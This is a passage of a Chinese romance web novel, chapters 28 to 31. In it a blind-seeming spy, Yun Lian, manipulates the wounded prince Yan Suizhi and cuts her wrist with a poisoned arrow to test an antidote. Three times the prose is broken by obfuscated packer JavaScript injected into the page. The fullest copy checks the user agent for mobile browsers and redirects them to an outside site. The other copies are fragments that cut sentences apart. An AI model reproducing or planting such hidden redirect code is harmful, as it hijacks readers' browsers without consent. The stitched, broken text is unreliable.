云潋太了解这群暗卫,他们擅伪装,会闭气,眼见情势不妙,便会躺倒装死,待敌人放松警惕后,再发起第二次攻击,增加胜算。 果不其然,待林中静谧无声,三个暗卫缓缓起身。 当他们发现云潋正枯坐在地上时,神色一喜,低声道:“姜大人,随我们回去吧。” 云潋一腔怒火无处发泄,捡起手边的长剑,缓缓起身,满脸不屑,“就凭你们?” 几名暗卫神色一凛,云潋的身手,他们是知晓的,纵使他们三人合力也并不是她的对手。 为首的暗卫低声劝慰:“大人,我等只是奉命行事,并非想要取您性命。主子吩咐,无论如何也要带您回去。您在宁州犯下的错,一概既往不咎,您还是统领暗卫营的姜大人。” 云潋俨然看出他们的心虚与畏惧,主动发起进攻,刺向这三名暗卫的每一剑都速度惊人。 片刻间,三人便跪地不起,捂着身上十几处并不致命的剑伤,连忙示弱:“姜大人,您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“此举也只能保一夜无虞,还需尽快将断箭拔出,否则后果不堪设想。” 沈烁提剑质问:“为何不拔?” 周太医哆嗦着回道:“断箭离心脉太近,我等不曾有动刀取箭的经验,稍有不慎,反倒坏事。现下最重要的,便是寻来有经验的军医,我等一同斟酌商量,许能勉力一试。” 楚执命亲卫拿着信物,快马加鞭前去临近三个州府的驻军军营求援。 沈烁见燕绥之奄奄一息,忍不住埋怨云潋:“都怪那个女人,若不是为了救她,以殿下的身手,如何会中箭!” 裴舟望环顾四周,脸色煞白,焦急询问:“云姑娘呢?你把她关到哪儿去了?” 沈烁神情茫然,楚执赶紧召唤下午随行的亲卫询问。 当听众人说,没有人记得将云潋带回时,裴舟望瞬间暴怒:“荒唐!你们怎敢将她一人留在密林深处!” 沈烁见裴舟望气恼不已,那神情比刚才听到殿下中箭后还紧张,忍不住嘟囔道:“红颜祸水,带回来,还指不定闹出什么事来。” 楚执推了一把口无遮拦的沈烁,随后吩咐一队亲卫随裴舟望前去找人。 秋夜寒凉,云潋却毫不在意,躺在巨石上仰望圆月。 这样好的时光,这样平静的时刻,真是久违了。 “云姑娘!” “云姑娘,你在哪儿?” 裴舟望带着听枫听墨,还有一众皇子亲卫四处寻找,拼命呼唤着。 当裴舟望看到躺倒在地的刺客们,以及地上的零星血迹后,脸色惨白。 云潋一介弱质女流,目不能视,在危险重重、地形复杂的密林中,究竟该如何自保。 会不会跌落寒潭,会不会落入猎户的陷阱,会不会被野兽伤害。 越想越害怕的裴舟望尽力让自己平静下来,他顺着地上的血迹和云潋明显较男子小上许多的鞋印一路追踪。 眼见脚印消失在石堆边,周边是湍急的溪流,他不由得阵阵后怕。 “仔细找!石缝、溪水、陷阱,每一处都不能放过!” 众人齐声应道:“是!” 云潋听到周边动静和裴舟望的声音,意识到他们已经寻过来,赶紧坐直身体,握紧长剑,调整好状态。 当裴舟望听到亲卫呼唤“找到了,在这里”,立刻踩着石块儿上前,满脸失而复得的喜悦。 可云潋却十分紧张,她衣衫沾满血迹,蓬头垢面,胡乱挥舞着手中的长剑,明明柔弱,却故作凶狠,威胁道:“别过来!你们别过来!” 裴舟望赶忙安抚:“是我,裴舟望,云姑娘,我来接你回家了。” 29. 第 29 章 听到熟悉的声音,云潋立刻扔掉长剑,泪眼涟涟地唤:“裴大人,我还以为......我还以为我会死在这里。” 裴舟望没想到云潋会这般信赖他,匆忙上前,确认云潋没有受伤,才将惊魂未定的她从巨石上抱下来。 “我抱你下来,搂紧我。” 裴舟望将云潋的手搭在他肩颈处,小心搂紧她纤细柔软的腰肢与膝弯,云潋温热的呼吸打在裴舟望耳边。 云潋双臂紧紧搂着裴舟望的后颈,窝在他怀中不停抽泣着,搭在他后颈肌肤上的手指冰凉。 察觉怀中人被冻坏了,裴舟望恨不得赶紧将周身热度传递给云潋,更是暗自对她这副全身心依赖他的模样感到无比欢喜。 裴舟望将云潋放在平坦的路边,想先为她披上披风,谁知云潋似是害怕被抛弃一般,死死攥着裴舟望的衣袖。 恰逢周边响起几声狼嚎,云潋更加不安,朝裴舟望身边挪动半步,哀求着:“我知错了,别丢下我。求您......” 接过听墨递来的披风,裴舟望将云潋牢牢裹紧,极尽温柔地安抚:“我特意来寻你,又怎会抛下你呢?别怕。” 云潋此刻才不再惊慌,低声道谢:“谢谢,若不是您,我也许熬不过今晚。” 裴舟望连忙制止云潋胡言乱语,郑重其事道:“别乱说。你会长命百岁,福寿绵长。” 此话一出,云潋都愣住了。 “咳。” 裴舟望意识到自己将心里话说出口,清了清嗓子,转身蹲下,让听枫帮忙扶着云潋伏在他宽阔的背脊上,缓缓朝拴马的空地走去。 云潋白皙的手背上沾染着血痕与泥土,随着裴舟望行走的动作,明晃晃的在他眼前晃动。 背上的人很轻,压在他心间的重量却似万斤。 听墨和听枫手执火把在前方引路,裴舟望背着云潋,身后大批皇子亲卫们手执火把,静默的跟在他们身后,明亮温暖的火苗将幽暗的密林照耀得亮如白昼。 裴舟望每一步都迈得坚实,私心希望这段路长一些,再长一些。 “殿下他......可还好?” 幸福幻境,在一瞬间被打碎。 裴舟望原本闪亮的眸子瞬间暗淡,却还是凭着理智认真回答:“殿下后背中箭,位置临近心脉,箭头又有毒,太医不敢硬拔,现下我们正派人去请更有经验的军医前来相助。” 云潋对此并不意外,宫中的太医们虽世代行医,可常年久居宫中,用药行事素来求稳,不求有功,但求无过。 许多病症其实并不棘手,可因用药后反应太大,容易招致贵人怒火,所以他们宁愿开些不温不火且并不治本的温和药方,也不愿冒着被申斥和砍头的风险尝试用些险方。 这也是为何明明很多时候宫中贵人们的病情并不算重,却在经年累月的拖延下,落下病根,甚至早早魂归西天。 燕绥之今日中毒昏厥,情势凶险,太医定是不敢贸然行动,她一猜便知他们定会尽可能拉其他大夫下水,分担罪责。 因此,刚刚她已命手下执她的信物去药王谷请邹世伯出山,请他速去贺州军营与何世伯暂聚。 如此一来,邹世伯便能名正言顺的随身为贺州军医的何世伯前来为燕绥之医治。 两位世伯医术卓绝,邹世伯擅制毒解毒,当初她能侥幸研制出鸢尾之毒的解药,也是因为有邹世伯的指点,才能事半功倍。 而何世伯早年在药王谷中学习,学成后又投身军旅,身为军医,他对箭伤、刀伤颇有研究,也有着丰富的实操经验,燕绥之身上的箭头由他来拔,她才安心。 云潋确信,有他们二位保驾护航,燕绥之活下去的可能性已有七八分。 虽然心中有底,可此刻众目睽睽之下,云潋自是要装出惊慌无措的模样。 云潋抽泣着,满口自责:“都怪我,若不是为了救我,他怎么会......” 泪水滴落在裴舟望的侧颈,顺着肌肤滑落进他的衣领深处,所到之处,泛起阵阵痒意。 那滴泪水引得燕绥之心猿意马,下意识吞咽了一口口水。 许久,他才找回原来的语调,“你一个弱质女流,与旁人往日无怨近日无仇,谁会兴师动众的找来这帮顶级杀手来刺杀你呢?” 云潋时刻不忘谨记自己的身份和立场,满心愧疚道:“可若无我拖累,殿下他......” 裴舟望虽然知晓身后的亲卫们会将他们二人的对话和一举一动,详尽的汇报给楚执和沈烁,却还是坚定的选择出言宽慰。 “云姑娘,谁也不愿发生这种事。刺杀之事,并非因你而起,你被牵连其中,流落荒野,已然是无妄之灾。殿下吉人自有天相,定能化险为夷。一会儿回到客栈,你还是尽早歇息,莫要再往跟前凑了。” 云潋知晓裴舟望这番话是在好心提点她,让她远离是非,以免被楚执等人迁怒。 燕绥之现下情况危急,若真有个三长两短,他怕圣上与贵妃问责,她会被牵连其中。 虽然裴舟望是好意,可她自是不能如此。 若她一味躲避,燕绥之醒来后如何能恰好看到她的深情厚意,她又该如何借此获得长久跟随在他左右的筹码呢? 坐上楚执刚命人派来的马车,云潋才缓缓开口:“裴大人,我知您好意,可殿下为救我而受伤,现下生死未卜,我做不到视而不见。” 裴舟望放下车帘,藏在阴影中的脸上满是不甘,最终,他什么也没说,纵身上马,带云潋回了客栈。 云潋被裴舟望牵着出现在燕绥之的房门口时,满屋药味和血腥气熏得人有些睁不开眼。 一个亲卫端着一盆血水出门,险些与云潋撞个满怀。 裴舟望匆忙挡在云潋身前,“当心些!” 亲卫忙低头认错,得到裴舟望的应允后,端着铜盆匆忙离去。 看着被裴舟望小心护在身后的云潋,沈烁再也忍不住,快步上前,压低声音道:“云姑娘,您请回吧,这里不欢迎你。” 裴舟望冷声呵斥:“沈烁!” 沈烁满脸不服,却碍于裴舟望的面子,闭上了嘴。 楚执上前,将沈烁赶回床榻边,低声解释:“两位莫怪,沈烁他只是太担心殿下,情绪激动。” 云潋满脸哀伤,焦急询问:“殿下可醒来过?” “还没有。” 云潋再也顾不得其他,伸手摸索着朝前走去,眼见拦不住云潋,而她又险些撞上木凳,裴舟望只好妥协,搀扶着云潋来到床边。 为防压到伤口,燕绥之侧躺在床榻上,身上的里衣边缘被鲜血浸染,射穿胸膛的毒箭头在里衣边缘隐约可见。 云潋跪伏在脚踏上,正对上燕绥之苍白的脸颊,他额间汗水涔涔,双唇乌黑泛紫,呼吸微弱沉重。 刚才装出来的三分急切,在看到燕绥之的惨状后,也真了八九分。 云潋摸索着抓住燕绥之的手,将他的手贴在她的侧脸上,焦急呼唤:“殿下,殿下,您醒醒呀。” 燕绥之双目紧闭,听到云潋凄厉哀婉地呼唤,呼吸急促几分。 云潋依旧低声抽泣着,无论任何人前来劝解,她都固执地守在床边,不肯离开片刻。 天色渐亮,太阳初升,客栈外传来一阵沉重的马蹄声。 不多时,一个亲卫满脸喜色,冲上来禀报:“回禀裴大人,贺州军营的何军医携他在药王谷的大师兄邹大夫前来相助!” 裴舟望生在贺州,与这位何军医有过数面之缘,深知他医术高超,听说他赶来相助,甚是激动。 “快请进来!” 言毕,不等亲卫起身,裴舟望便三步并作两步,亲自出门迎接。 见到何名仕,裴舟望匆忙拱手行礼:“情况危急,劳两位大夫奔走一趟,裴某万分感激!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楚执最是理智,率先同意这个决定,俯身搀扶云潋起身去给燕绥之喂药。 裴舟望却脸色铁青,冲上前去阻拦,他死死抓着楚执的手臂,冷声道:“这么多人,为何非要她来做。换旁人来!” 屋内的仆从、太医、药童、亲卫听到这话都露出不解神情,不知裴舟望为何要强行阻拦,舍近求远。 城郊客栈中的客人早就被送进城中,改住其他客栈,现下满客栈的大男人,谁敢不长眼的上前给二殿下以唇渡药。 若来日殿下清醒,知晓此事,心中膈应,只怕那人定是吃不了兜着走。 众人噤若寒蝉,面对环视左右的裴舟望连连摆手,口中呢喃着:“使不得,这可使不得。还是让这位姑娘帮忙吧。” 见裴舟望罔顾殿下性命,被触及底线,楚执不再退让,不顾裴舟望的颜面,半是威胁半是警告:“裴大人,您别忘了,她是殿下的女人,而您——是殿下的堂兄!” 裴舟望纵使心有不甘,终究是松开了手。 因为不忍细看,他背过身去,手掌攥得死紧,浑身紧绷,却还是忍不住偷听背后传来的细微声响。 当裴舟望听到云潋坐上床头时衣衫发出窸窣声,以及沈烁让云潋端稳瓷碗将药汁尽数含进口中时的细心叮嘱,痛苦地闭上了眼睛。 云潋口中含着苦涩的药汁,在沈烁的帮助下,缓缓凑近燕绥之的唇。 和并不赞同此举的裴舟望一样,邹弼也是满脸愠怒,可他深知云潋脾气倔强,若他敢打断随意她的计划,她就敢再也不理会他这个伯伯。 因此,邹弼走到裴舟望身边站定,学着他背过身去,干脆眼不见为净。 唇瓣相接,呼吸焦灼,云潋缓缓顶开燕绥之干涩的唇瓣,将口中苦涩的药汁尽数渡进他的口中。 30. 第 30 章 围在床榻边的沈烁单膝跪地,待见到燕绥之的喉头缓缓移动,一大口苦药全被灌进去后,兴奋高呼:“成了,咽下去了!咽下去了!” 云潋的樱唇从燕绥之干燥温热的唇上离开,初次与人有肌肤之亲的云潋有片刻晃神。 不等云潋理清纷杂的思绪,焦急的沈烁又连连催促:“愣着干嘛呢,快喂呀,一会儿药要凉了。” 云潋只得接过递到她手边的瓷碗,将汤药仰头灌进口中,又分两次将汤药用嘴渡进燕绥之口中。 她渡药之时,屋内一片寂静,众人屏住呼吸,将云潋视为救命稻草,内心希冀一切顺利,二殿下能顺利迈过鬼门关,他们能侥幸捡回一条命。 将一切尽收眼底的何名仕更是神色不明,他实在不知,短短两月未收到云潋的消息,再见时,会是这般境况。 刚喂完药,沈烁便转头唤何名仕:“何军医,药已全部喂下,您看是否可以拔箭了?” 话音刚落,裴舟望便迅速转身,凑到床榻边,将被挤到一边的云潋搀扶起来,低声商量:“我先送你回房休息吧。” 云潋摇头,在床榻边两尺远的距离站定,便再也不肯挪动脚步。 “拔箭之事太过凶险,我想守在这里,看还有什么帮得上忙的。” 何名仕上前为燕绥之诊脉,见脉象和缓些,郑重点头:“差不多了,劳两位太医搭把手。” 周吴两位太医本不想插手,谁知这位何军医久经官场,也是只老狐狸,不肯让他们二人将责任全盘推脱出去。 吴太医小心翼翼推辞道:“我们久居宫中,对外伤的经验可能都不如您的两位药童丰富,要不......我们还是不掺合了。” 裴舟望被云潋拒绝,心中不悦,见两位太医还在偷奸耍滑,火气更盛。 “陛下特意遣二位太医前来宁州随侍,想必也是对你们寄予厚望。若二位觉得不能胜任,裴某不介意替你们上疏请辞。” 吴太医满头大汗,赶紧改口:“不敢劳烦裴大人,我等深受皇恩,自当竭尽全力。” 周吴两位太医帮着何名仕将一应器物摆放完毕,又小心将昏迷不醒的燕绥之从床榻上扶起,摆正身姿。 里衣褪去,露出燕绥之精瘦的身躯,毒箭刺穿饱满的胸膛,那尚未结痂的伤口依旧汩汩冒着黑血。 何名仕将用高度白酒浸泡过,又放在火上烤红的短刃划破燕绥之的皮肉,扩大创口,露出带有倒刺的箭头。 虽然已经服下麻沸散和止血的汤药,可燕绥之还是疼的满头大汗,当何名仕缓缓向外拔箭时,昏迷一夜的燕绥之终究是被疼醒。 他睁开迷蒙的双眼,很快便明白此时的境况,待看到面前的云潋安然无恙时,虽然知晓她看不见,却还是下意识朝她艰难地勾起一抹笑意。 云潋将一切看在眼中,燕绥之温和的笑容让她心头一紧,不等她掩饰住外露的情绪,箭头被彻底拔出后喷溅而出的鲜血溅了她一身。 飞溅的温热血液落在云潋的鼻尖、眼睫处,她怔愣地抬起手,葱白似的指尖沾上一滴,这一瞬,有什么东西,在她心头无声的裂开。 裴舟望匆忙掏出手帕将云潋脸上的血迹擦干,想伸手擦掉云潋指尖的血珠时,云潋迅速收回手,将手藏在背后,将那滴血揉进掌心。 何名仕忙用洁白布帛按住血流不止的创口,又在伤口处撒上金疮药,这毒让创口十分难以愈合,堵了半晌,那血都止不住,染了燕绥之满身。 周太医瞬间慌了神,看着满手的血迹,哆哆嗦嗦问:“何军医,这可如何是好?” 何名仕转头看向站在窗边的大师兄,见邹弼事不关己高高挂起的模样,无奈至极。 大师兄素来看不惯岱国皇室,更是立下不给皇家人看诊的誓言。 纵使他今日帮着云潋瞒下燕绥之身份,将大师兄哄骗过来,可已然知晓燕绥之身份的大师兄也决计不会打破原则,对二殿下施以援手。 “这毒太过阴险,我也不曾见过,只怕......” 楚执和沈烁顺着何名仕的视线落在邹弼身上,裴舟望赶忙侧身拱手行礼。 “早听闻药王谷谷主邹大夫乃当世名医,有叫人起死回生的绝世本领。还望谷主看在人命关天的份上,救我堂弟性命。” 邹弼心中恼恨,捋着苍白的胡须,沉声拒绝:“这毒我也不曾见过,解毒之事老夫也全无把握,各位还是另请高明吧。” 见邹弼疾步往门口走去,沈烁和楚执干脆一个箭步上前,跪倒在地,苦苦哀求。 “您精通药理、声名远播,若您都无计可施,旁人只怕更是束手无策。求邹大夫勉力一试,救殿下性命,我等感激不尽!” 邹弼最恨皇室无情,抬眼看着周遭神情紧绷的亲卫们,见他们均手握刀柄,似乎想要用武力强行将他留下,冷哼道:“你们这是想要强留我行医施药?” 裴舟望赶紧上前,缓和气氛,“邹大夫误会了,他们绝无此意。他们也只是救主心切,这才失了礼数。” 随后裴舟望冷声斥责跪地不起的楚执和沈烁,“还不快让开?” 沈烁和楚执不情不愿起身,身后的亲卫们收回佩刀,门外的守卫也放下手臂,不再阻拦邹弼去路。 可众人却依旧亦步亦趋的跟在邹弼身后,大有死皮赖脸、软磨硬泡的心思。 即将迈步出门时,邹弼回头望向云潋,见她不知何时悄悄挪到床榻边,似乎十分在意那个男人的生死。 云潋此举,让邹弼的神色更加不悦。 邹弼在等,等云潋开口唤他,等云潋给他个交代。 可他并未等到云潋回头,反倒眼睁睁看着她软绵绵地瘫倒在床榻上。 与此同时,守在一旁的药童发现从云潋手中滑落的毒箭,发出一声惊呼:“天啊,她用毒箭割/腕了!” 话音未落,邹弼、裴舟望等人飞奔到床边,慌张到冷汗直冒的何名仕亲自将云潋抱上床榻,与燕绥之并排躺着。 何名仕看着云潋伤口处不断渗出的黑血,悲戚开口:“你何苦如此。” 看着云潋白皙手臂上的狰狞伤口,裴舟望痛苦万分,他竟不知,云潋爱堂弟爱到不惜为他割肉试毒,愿意与他同生共死。 邹弼紧张地为云潋把脉,发出恨铁不成钢地斥责:“你这是干什么!你不要命了?为了区区一个男人,你......” 邹弼语气中的急切和焦急,以及他对云潋的在意,让众人感到十分诧异。 云潋自然明白若再让邹世伯说下去,便有暴露的风险,她只得打断邹世伯,反手紧攥住邹弼的手。 “邹大夫,云潋愿意替殿下试药。”云潋此刻气虚无力,一字一句,说的分外费力,“求您救救他。” 此话一出,众人皆被云潋对二殿下的深情厚意震撼,满室寂静。 邹弼眉头紧锁,没有答应云潋,却转身疯了般去翻放在桌上的药箱,口中唤着:“快去取我的针来!名仕,封住她心脉!” 静梅好不容易用牙咬断手上的麻绳,冲出房间,不要命般在院中四处呼唤:“小姐!小姐!您在哪儿啊?” 恰好众人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365647|180583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被邹弼赶出房间,站在二楼平台处焦急等待。 静梅发现楚执等人,立刻冲上前二楼,一巴掌甩在楚执脸上,这一巴掌她用了全力,楚执白皙的脸上红痕清晰可见。 “你把我家小姐带去哪儿了?”静梅揪起楚执的衣领,撕心裂肺的哭喊,“说话呀!你把我家小姐带去哪儿了!” 屋内本就焦心的邹弼听到外面吵嚷不断,对门外厉和道:“喊什么,滚远点儿!” 静梅刚刚醒来不久,对刺杀一事全然不知,如今听到屋内有陌生男人的声音,以为云潋被人欺负,瞬间暴怒,闹着要冲进屋内。 “我家小姐在里面,对不对?还有谁在?你们把我家小姐怎么了?说话呀!” 楚执以身躯挡着静梅,刚想将她扛走,沈烁却再也受不了静梅的聒噪,从后面一掌将她打昏。 “你......” 盯着软倒在楚执怀中的静梅,沈烁对着楚执冷声道:“现下安静了。” 楚执无奈,“也不至于打昏她。” “她也不肯听你解释,还吵嚷不停,难道眼睁睁看着她闯进去?” 楚执无法反驳,只好将静梅扛回房间,唤来客栈的那位女老板守着。 老板笑盈盈道:“您放心,我定会看顾好您的娘子,不会让她渴着饿着的。” 楚执刚想澄清他与静梅并非夫妇,就听得二楼有动静,他顾不上其他,飞快运功飞上平台,凑到人群中去。 裴舟望焦急万分,追问邹弼:“邹大夫,如何了?” 邹弼抬袖擦干额间汗水,“无碍了。他们体内的毒性已解,我再施针三日,巩固一下,便可万无一失。” 积压在心中一日一夜的大石头终于落地,楚执携众亲卫跪地道谢:“谢邹大夫仁心仁术,救殿下性命。” 邹弼被云潋的荒唐行径吓掉半条命,现下依旧惊魂未定,他被药童搀扶着下楼,没再如往常的性子那般,对着众人说什么不是为了救燕绥之这类难听的话。 刚才邹弼给云潋初次用药时,好端端的人却突然大量咳血,危在旦夕。 他的心瞬间揪紧,施针的手都在抖,就怕因为他用错药,无法及时解毒,致使云潋一命呜呼,他死后无法跟她那早死的爹交代。 也就是在那一刻,邹弼只求云潋能活着,至于她想做什么,想谋求什么,他再也无心去管。 孩子大了,有自己的小心思了,再也不是当年那个窝在他怀中叫伯伯的小姑娘。 既然她胸有成算,不惜以命相搏,那便随她去吧。 云潋身体素质好,中毒时间短,不出两个时辰便早早醒来。 当看到她睁眼时,守在床榻边的沈烁兴奋地扑过来,焦急询问:“你醒啦,觉得怎么样?” 云潋浑身脱力,面色苍白如纸,短暂茫然后,她挂上一副紧张神情,伸手去抓沈烁。 “殿下呢?殿下他怎么样?” 云潋激动的动作牵扯到手臂上的伤口,她瞬间疼的冒出冷汗。 沈烁赶紧安抚她,低声解释:“殿下就在你身侧,你和他都安然无恙。” 云潋呢喃着:“那就好,那就好。” 沈烁搀扶着云潋躺回床榻,云潋立刻转身去摸索身边的燕绥之。 当她纤长的手指落在燕绥之温热的胸膛时,察觉到他顽强跳动的心脏,云潋瞬间泪流满面。 将怀中颤抖的身躯抱紧,刚刚被吵醒的燕绥之哑着嗓子安抚,声音里满是沈烁和楚执从不曾听过的宠溺和温柔。 “别怕,我还活着呢。” 31. 第 31 章 听到燕绥之温柔的安抚,云潋反倒哭得愈发委屈,将他里衣后襟拽得死紧。 燕绥之也不催促,只一味轻拍着云潋的背脊,直到她情绪渐缓,发出两声呜咽似的低语:“殿下,您为何要这么做?我的命和您的命比起来,实在不值一提。” “你我的命都只有一条,何来高低之分。”燕绥之将下巴倚在云潋的头顶,发出劫后余生的喟叹,“云儿,若那时中箭的人是你,只怕我会急得疯掉。” 云潋实在好奇的紧,在那一瞬,燕绥之究竟在想什么。 是什么原因驱使他选择冒着生命危险替她挡箭;又是什么原因让他在在中毒后浑身疼痛难挨的情况下,不仅情绪稳定的安慰她,甚至全无责怪之意。 难道,他竟真的爱她至深? “殿下,您......” 云潋刚想接着问话,就被守在床边的沈烁打断:“嘘,云姑娘,殿下累得昏睡过去了。” “哦。” 云潋乖顺的闭上嘴,听到沈烁出门去请几位大夫前来诊脉,她悄悄仰头看向昏睡过去的燕绥之。 他俊俏的容颜因失血过多而变得苍白,素来红润的唇也干裂起皮。 原本意气风发的少年郎,现下却虚弱的躺在榻上动弹不得,连挪动下手臂这样微小的动作,都会痛到眉微蹙。 一种愧疚感瞬间涌上云潋心头,若不是因为她蓄意利用燕绥之,一次次刺激主子,想必主子也不会迁怒于他,选择铤而走险,派暗卫对燕绥之痛下杀手。 依主子睚眦必报的性格,只要她留在燕绥之身边一日,他便会千方百计的与燕绥之为敌。 这次只是个开端,日后燕绥之还会有数不清的麻烦和无休无止的危险。 他本该是风光无限、前途无量的皇子,过他富贵顺遂的一生,而不是因她一己私欲而险象环生,毫不知情的被她拽入无尽深渊。 此刻,云潋第一次产生了动摇,她是不是应该离开燕绥之? 放弃这条路,另寻他法。 可下一瞬,她又将这个懦弱的想法抛诸脑后。 大家都已经等了太久,无数人前仆后继,曾大人甚至以身入局、舍弃清名,如今才好不容易看到一丝希望,怎能因她心中微弱的愧疚而半途而废,让所有人的牺牲白费呢? 比起燕绥之的安危和她心底的悔意,刻骨的仇恨和众人的期待才更加迫切。 看来,她此生注定要辜负燕绥之的一片真情。 冷静下来的云潋试着起身下榻,却察觉到一丝阻碍。 燕绥之死死搂住她的腰肢,即使在昏睡时,也不曾松懈半分气力。 云潋本想用力挣脱,可她一动作,燕绥之便露出痛苦神色,不知是因她的动作无意牵动伤口,还是打心底里不愿让她离开他的怀抱。 恰逢沈烁引着邹弼等人进屋,云潋只好放弃挣扎,依偎在燕绥之怀中假寐。 邹弼看着两人毫无间隙的暧昧姿势,眉头不由得紧皱起来,那表情沉重的仿佛一个看见自家女儿被臭男人骗走了的老父亲,充斥着愤懑和恼怒。 沈烁深知殿下的身体能否康复,只能仰赖这位脾气难以捉摸的邹大夫,因而面对他时一直礼敬有加。 见邹弼神情不虞,沈烁回话时更是小心翼翼,“殿下和云姑娘刚刚都醒来过,看上去状态尚可。” 邹弼冷着脸一一为这对儿难舍难分的爱侣诊脉,随后又根据他们二人的身体状况细微调整了药方,甚至亲自抓药煎药,事事亲力亲为,只为让云潋尽快恢复。 沈烁刚想接过两碗汤药,就被邹弼厉声呵斥:“屋内毕竟有女眷在,你一个侍卫在里面忙前忙后,像什么样子?她的闺誉还要不要,日后惹来闲言碎语,又当如何?既是皇子,有权有势,就不能花些心思和钱银,寻个婢女来跟前儿伺候吗?” 楚执刚审问完两批刺客,听得邹弼这般训斥,赶忙上前打圆场:“邹大夫说得有理,云姑娘有一个贴身婢女,我们马上请她过去。” 楚执身后的亲卫领命,很快便将静梅放了出来。 邹弼将胸中怒火发泄出来,这才肯交出手中汤药,冷着脸吩咐:“他们身边不能离人,下次人醒过来,再叫我来诊脉。” 楚执和沈烁恭敬的目送邹弼离开,又马不停蹄将药送进屋内。 他们进屋时,静梅已然趴在床榻边,握着云潋的手暗自垂泪。 云潋耳聪目明,听着静梅的抽泣声根本睡不踏实,无奈睁眼。 静梅见云潋醒来,马上起身查看,她絮絮叨叨着:“小姐,您觉得如何?疼不疼,渴不渴?要不要吃东西?” 云潋赶忙打断她,“我无碍,你小声些,别吵醒殿下。” 静梅醒来后,将隔壁拷打刺客的审问,以及太医们在院中的谈话听了个七七八八。很快将她昏迷后的种种拼凑出个大概,更是对小姐割肉试毒的事情感到极度愤慨。 静梅小心查看云潋手臂上渗着血色的布帛,越发心疼。 “小姐,他们将我打昏,是想掳走您,带咱们去贺州。这般土匪行径,实在令人不齿。您大人有大量,不计前嫌,为了救他以唇渡药、割肉试毒,险些丧命,奴婢实在替您觉得不值!若这毒让您留下病根可如何是好?若这手腕上留下伤疤,又该如何是好?您怎能这般鲁莽,屡屡为他以身涉险,您是想要吓死我吗?” 云潋赶紧起身,将担忧不已的静梅抱在怀中安抚:“别怕,我没事了。” 静梅用力回抱云潋,嗫嚅着:“小姐,您答应我,再也不许这般不爱惜自己的性命,更不许再为他不顾一切。” 云潋哪敢不应,为了哄好静梅,她满口应承:“好好好,我答应你。” 静梅这才破涕为笑,嘀咕道:“我就知道小姐您在乎我。” 燕绥之早被静梅的哭泣声吵醒,只是身体尚且虚弱,不曾开口说话。 听到云潋为他割肉试药,燕绥之无比动容。 危急时刻挡住箭矢,救下云潋性命,是他的本能反应。他不曾奢望云潋感激,也不曾想过索取任何回报。 可云潋却回馈至此,甚至不惜为他割肉试药,以性命做赌注,只为换他一线生机。 这般情深意重,让他如何能不感动。 当毒药让他神志不清时,他也曾怀疑,他是否即将结束这十七年短暂的生命。 是云潋整夜拉着他的手,一遍遍唤他的名字,她的泪水滴在他手背,让他一次次在昏沉时抵御住想要彻底放弃的沮丧念想,顽强坚持下来。 若之前想要带她一同回京都的心思中有三分利用,经此一遭,也尽数被真情取代。 他这一生,能遇到一个肯为他舍弃性命,无论他身份贵贱都肯全心全意对他的女子,实乃人生幸事。 得此真心,他定不辜负。 云潋习武多年,身负鸢尾之毒数载,外表虽看上去与常人无异,内里格外虚空,长此以往,寿数定会大大折损。 趁此机会,邹弼与何名仕使出浑身解数为她调养身体,填补虚空。 因云潋不愿暴露身份,他二人只能打着云潋体弱,中毒后较燕绥之这种习武之人更难恢复为由,整日给她灌汤药、扎针灸,让她一日不落地泡药浴。 这几日燕绥之时刻将云潋留在身边,两人同吃同住、同榻而眠,宛若夫妻一般。 燕绥之握着云潋缠着布帛的手臂,满眼心疼,低声商量:“云儿,随我回京吧。” 云潋沉默不语,既不说愿意,也不再如以往那般严词拒绝。 燕绥之将云潋抱进怀中,禁锢在他宽阔的胸膛,握着她纤长的手指,一遍遍恳求:“云儿,你此番舍命救我,想必也是对我有情。既然你我互相喜欢,你为何不愿与我长相厮守?” 云潋的视线落在燕绥之包着布帛的伤口处,眼中闪烁着太多复杂情绪。 “殿下,我害怕。” 燕绥之满眼愧疚,赶忙保证:“刺杀之事,是我不好,没能保护好你。日后我定会加强守备,绝不会让人伤你分毫。” 云潋摇头,“殿下,您为我挡箭,以命相护,我本就安然无恙。我并非恐惧那些恶徒,而是害怕卑贱之身,拖累您的清名。” 燕绥之心有城府,早有决策,只是诸事尚未尘埃落定,无法和云潋和盘托出,他态度坚决,“为那些虚妄之事,便舍弃彼此,太不值得。我意已决,日后我绝不再放开你的手! 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“知道我家小姐真心待人,日后就少对我们处处防备,搞得好像我们小姐非要扒着你家主子似的。也不知是谁天天强行圈着我们,恨不得时刻将我家小姐放在眼皮子底下盯着才安心。” 自从自家殿下那日准备强行掳走云潋主仆,做出强抢民女这种荒唐事后,因为理亏,沈烁总觉得矮静梅一头。 即使此刻静梅这般毫不客气地说些气话,他们也无一人回嘴,只静默听着,任由她撒气。 云潋适时开口:“静梅,赶紧扶我下去吧,别让邹大夫久等了。” 面对云潋,静梅赶忙转换语气,轻声应道:“是,小姐。” 燕绥之在屋内将门外的一切听得一清二楚,对于静梅的僭越与指桑骂槐并不生气,反倒觉得有静梅在云潋身边,这般张牙舞爪地护着她,温柔的云潋能少受很多委屈。 如此看来,静梅这个忠仆,倒也可取。 裴舟望揣着从京都送来的信笺进屋时,燕绥之正在闭目养神。 “殿下今日可觉得好些?” 燕绥之睁开双眼,慵懒地开口:“尚可。” 